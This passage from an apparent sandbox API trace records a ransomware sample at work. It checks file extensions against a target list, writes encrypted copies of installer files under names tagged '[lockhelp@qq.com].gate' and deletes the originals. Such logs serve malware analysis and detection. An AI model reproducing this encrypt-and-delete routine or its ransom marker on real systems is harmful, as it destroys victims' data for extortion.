lpString2=".rtf") returned -1 [0111.253] lstrlenW (lpString=".7z") returned 3 [0111.253] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.253] lstrlenW (lpString=".dbf") returned 4 [0111.253] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.253] lstrlenW (lpString=".1cd") returned 4 [0111.253] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.254] lstrlenW (lpString=".jpg") returned 4 [0111.254] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.254] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.254] lstrlenW (lpString="eula.rtf") returned 8 [0111.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0111.274] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3188) returned 1 [0111.274] CloseHandle (hObject=0x334) returned 1 [0111.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0111.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0111.274] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.274] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0111.279] GetLastError () returned 0x0 [0111.279] ReadFile (in: hFile=0x334, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xc74, lpOverlapped=0x0) returned 1 [0111.349] WriteFile (in: hFile=0x324, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xc80, lpOverlapped=0x0) returned 1 [0111.350] ReadFile (in: hFile=0x334, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0111.350] WriteFile (in: hFile=0x324, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.350] SetEndOfFile (hFile=0x324) returned 1 [0111.351] CloseHandle (hObject=0x324) returned 1 [0111.352] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.352] SetEndOfFile (hFile=0x334) returned 1 [0111.353] CloseHandle (hObject=0x334) returned 1 [0111.353] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.415] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0111.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.415] lstrlenW (lpString=".doc") returned 4 [0111.415] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.415] lstrlenW (lpString=".docx") returned 5 [0111.415] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.415] lstrlenW (lpString=".pdf") returned 4 [0111.416] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString=".xls") returned 4 [0111.416] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.416] lstrlenW (lpString=".xlsx") returned 5 [0111.416] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.416] lstrlenW (lpString=".ppt") returned 4 [0111.416] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.416] lstrlenW (lpString=".zip") returned 4 [0111.416] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.416] lstrlenW (lpString=".rar") returned 4 [0111.416] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString=".bz2") returned 4 [0111.416] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString=".7z") returned 3 [0111.416] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.416] lstrlenW (lpString=".dbf") returned 4 [0111.416] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.416] lstrlenW (lpString=".1cd") returned 4 [0111.416] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.416] lstrlenW (lpString=".jpg") returned 4 [0111.416] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.416] lstrlenW (lpString=".doc") returned 4 [0111.416] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.416] lstrlenW (lpString=".docx") returned 5 [0111.416] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.416] lstrlenW (lpString=".pdf") returned 4 [0111.417] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.417] lstrlenW (lpString=".xls") returned 4 [0111.417] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.417] lstrlenW (lpString=".xlsx") returned 5 [0111.417] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.417] lstrlenW (lpString=".ppt") returned 4 [0111.417] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.417] lstrlenW (lpString=".zip") returned 4 [0111.417] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.417] lstrlenW (lpString=".rar") returned 4 [0111.417] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.417] lstrlenW (lpString=".bz2") returned 4 [0111.417] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.417] lstrlenW (lpString=".7z") returned 3 [0111.417] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.417] lstrlenW (lpString=".dbf") returned 4 [0111.417] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.417] lstrlenW (lpString=".1cd") returned 4 [0111.417] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0111.417] lstrlenW (lpString=".jpg") returned 4 [0111.417] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.417] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.417] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.417] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.810] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=77232) returned 1 [0111.811] CloseHandle (hObject=0x32c) returned 1 [0111.811] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0111.811] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.811] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.811] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0111.811] GetLastError () returned 0x0 [0111.811] ReadFile (in: hFile=0x32c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x12db0, lpOverlapped=0x0) returned 1 [0111.830] WriteFile (in: hFile=0x318, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0111.832] ReadFile (in: hFile=0x32c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0111.832] WriteFile (in: hFile=0x318, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0111.832] SetEndOfFile (hFile=0x318) returned 1 [0111.832] CloseHandle (hObject=0x318) returned 1 [0111.834] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.834] SetEndOfFile (hFile=0x32c) returned 1 [0111.835] CloseHandle (hObject=0x32c) returned 1 [0111.835] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.836] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0111.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.836] lstrlenW (lpString=".doc") returned 4 [0111.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.836] lstrlenW (lpString=".docx") returned 5 [0111.836] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.836] lstrlenW (lpString=".pdf") returned 4 [0111.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.836] lstrlenW (lpString=".xls") returned 4 [0111.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.836] lstrlenW (lpString=".xlsx") returned 5 [0111.836] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.836] lstrlenW (lpString=".ppt") returned 4 [0111.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.837] lstrlenW (lpString=".zip") returned 4 [0111.837] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.837] lstrlenW (lpString=".rar") returned 4 [0111.837] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString=".bz2") returned 4 [0111.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString=".7z") returned 3 [0111.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.837] lstrlenW (lpString=".dbf") returned 4 [0111.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.837] lstrlenW (lpString=".1cd") returned 4 [0111.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.837] lstrlenW (lpString=".jpg") returned 4 [0111.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.837] lstrlenW (lpString=".doc") returned 4 [0111.837] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString=".docx") returned 5 [0111.837] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.837] lstrlenW (lpString=".pdf") returned 4 [0111.837] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString=".xls") returned 4 [0111.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString=".xlsx") returned 5 [0111.837] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.837] lstrlenW (lpString=".ppt") returned 4 [0111.837] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.837] lstrlenW (lpString=".zip") returned 4 [0111.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.838] lstrlenW (lpString=".rar") returned 4 [0111.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.838] lstrlenW (lpString=".bz2") returned 4 [0111.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.838] lstrlenW (lpString=".7z") returned 3 [0111.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.838] lstrlenW (lpString=".dbf") returned 4 [0111.838] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.838] lstrlenW (lpString=".1cd") returned 4 [0111.838] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0111.838] lstrlenW (lpString=".jpg") returned 4 [0111.838] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.838] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.838] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.859] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=72076) returned 1 [0111.859] CloseHandle (hObject=0x308) returned 1 [0111.859] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0111.859] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.859] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.859] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0111.860] GetLastError () returned 0x0 [0111.860] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x1198c, lpOverlapped=0x0) returned 1 [0111.888] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x11990, lpOverlapped=0x0) returned 1 [0111.890] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0111.890] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0111.890] SetEndOfFile (hFile=0x30c) returned 1 [0111.890] CloseHandle (hObject=0x30c) returned 1 [0111.892] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.892] SetEndOfFile (hFile=0x308) returned 1 [0111.893] CloseHandle (hObject=0x308) returned 1 [0111.893] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.893] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0111.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.894] lstrlenW (lpString=".doc") returned 4 [0111.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.894] lstrlenW (lpString=".docx") returned 5 [0111.894] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.894] lstrlenW (lpString=".pdf") returned 4 [0111.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.894] lstrlenW (lpString=".xls") returned 4 [0111.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.894] lstrlenW (lpString=".xlsx") returned 5 [0111.894] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.894] lstrlenW (lpString=".ppt") returned 4 [0111.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.894] lstrlenW (lpString=".zip") returned 4 [0111.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.894] lstrlenW (lpString=".rar") returned 4 [0111.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.894] lstrlenW (lpString=".bz2") returned 4 [0111.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.894] lstrlenW (lpString=".7z") returned 3 [0111.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.894] lstrlenW (lpString=".dbf") returned 4 [0111.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.894] lstrlenW (lpString=".1cd") returned 4 [0111.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.895] lstrlenW (lpString=".jpg") returned 4 [0111.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.895] lstrlenW (lpString=".doc") returned 4 [0111.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString=".docx") returned 5 [0111.895] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.895] lstrlenW (lpString=".pdf") returned 4 [0111.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString=".xls") returned 4 [0111.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString=".xlsx") returned 5 [0111.895] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.895] lstrlenW (lpString=".ppt") returned 4 [0111.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.895] lstrlenW (lpString=".zip") returned 4 [0111.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.895] lstrlenW (lpString=".rar") returned 4 [0111.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString=".bz2") returned 4 [0111.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString=".7z") returned 3 [0111.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.895] lstrlenW (lpString=".dbf") returned 4 [0111.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.896] lstrlenW (lpString=".1cd") returned 4 [0111.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0111.896] lstrlenW (lpString=".jpg") returned 4 [0111.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.896] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.896] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.896] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=86442) returned 1 [0111.896] CloseHandle (hObject=0x308) returned 1 [0111.896] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0111.896] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.896] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.897] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.897] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0111.897] GetLastError () returned 